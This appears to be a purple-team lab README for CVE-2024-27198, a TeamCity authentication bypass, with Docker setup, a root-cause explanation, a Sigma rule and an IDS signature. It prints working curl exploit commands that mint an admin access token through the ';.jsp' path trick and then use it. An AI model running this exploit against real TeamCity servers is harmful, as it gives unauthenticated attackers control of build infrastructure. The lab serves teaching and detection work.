
TeamCity provides an admin-only page for token management that is not protected by authentication. This allows an unauthenticated user to generate an access token for the admin user if they can find an ID of an existing user.
The vulnerability lies in the REST API routing mechanism. By appending specific characters (like ?jsp=/app/rest/...;.jsp) to an unauthenticated endpoint, attackers can trick the TeamCity web server into routing the request to an authenticated endpoint while bypassing the security filters. This requires zero prior knowledge or access, making it a pure 9.8 CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Access the vulnerable Teamcity instance at http://localhost:8111. Access the patched Teamcity instance at http://localhost:8112.
Username:
admin
Password:
admin
GET request for a resource without authentication:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Both should return an error with 401 status code.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
This should return a token like this (The token is different every time):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
This should return an error with 401 status code because the patched instance does not have the vulnerability.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Should return the list of users.
During the demonstration on the lab, you can show a massive Blue Team finding: by default, this vulnerability is incredibly stealthy!
;.jsp HTTP requests are not logged.So how do we catch it? When the attacker cleans up their tracks! When the attacker deletes their rogue token to hide, TeamCity does log that.
Find the attacker covering their tracks in the audit logs:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(You will see a log entry indicating that the "REDTEAM" token was deleted).
docker compose -f docker-compose.yml down
This vulnerability is an instance of CWE-288: Authentication Bypass Using an Alternate Path or Channel.
The flaw stems from a path confusion issue between the Tomcat web server and the TeamCity application router. By appending ;.jsp and passing the target REST API endpoint in the jsp= parameter, the initial security filter interprets the request as an unauthenticated request to a public .jsp file (which is allowed). However, the internal router strips the ;.jsp and forwards the request to the restricted /app/rest/ endpoint without enforcing the authentication filter.
Legitimate Use Case (Why is ; allowed?):
Tomcat uses the semicolon character (;) for Matrix Parameters. Historically, this mechanism is used to pass parameters directly within the path, such as appending JSESSIONID to maintain user session state when cookies are disabled. This normal, legitimate web server behavior, combined with the improper validation by the TeamCity application router, is what creates the vulnerability.
To detect an ongoing or past compromise, Blue Teams should look for:
/app/rest/ endpoints but containing the anomalous ;.jsp string in the URI.teamcity-server.log): Unexplained generation of access tokens or creation of new administrative accounts.Because the initial exploit is stealthy by default, Blue Teams must rely on detecting the attacker's post-exploitation actions, such as covering their tracks. Here is a Sigma rule for your SIEM to detect suspicious token deletions:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
To prove that this detection works, run the siem_simulator.py script.
docker compose up -d).python3 siem_simulator.py
To detect this exploitation attempt on the network, a SOC can implement the following IDS rule, which looks for the anomalous ;.jsp pattern combined with REST API paths:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
To prove the mitigation works, you can launch the exact same exploit payload against the patched TeamCity container running on port 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Because the patch strictly enforces route matching and properly sanitizes matrix parameters, the bypass will fail. You should see a 401 Unauthorized or 404 Not Found response instead of a generated token.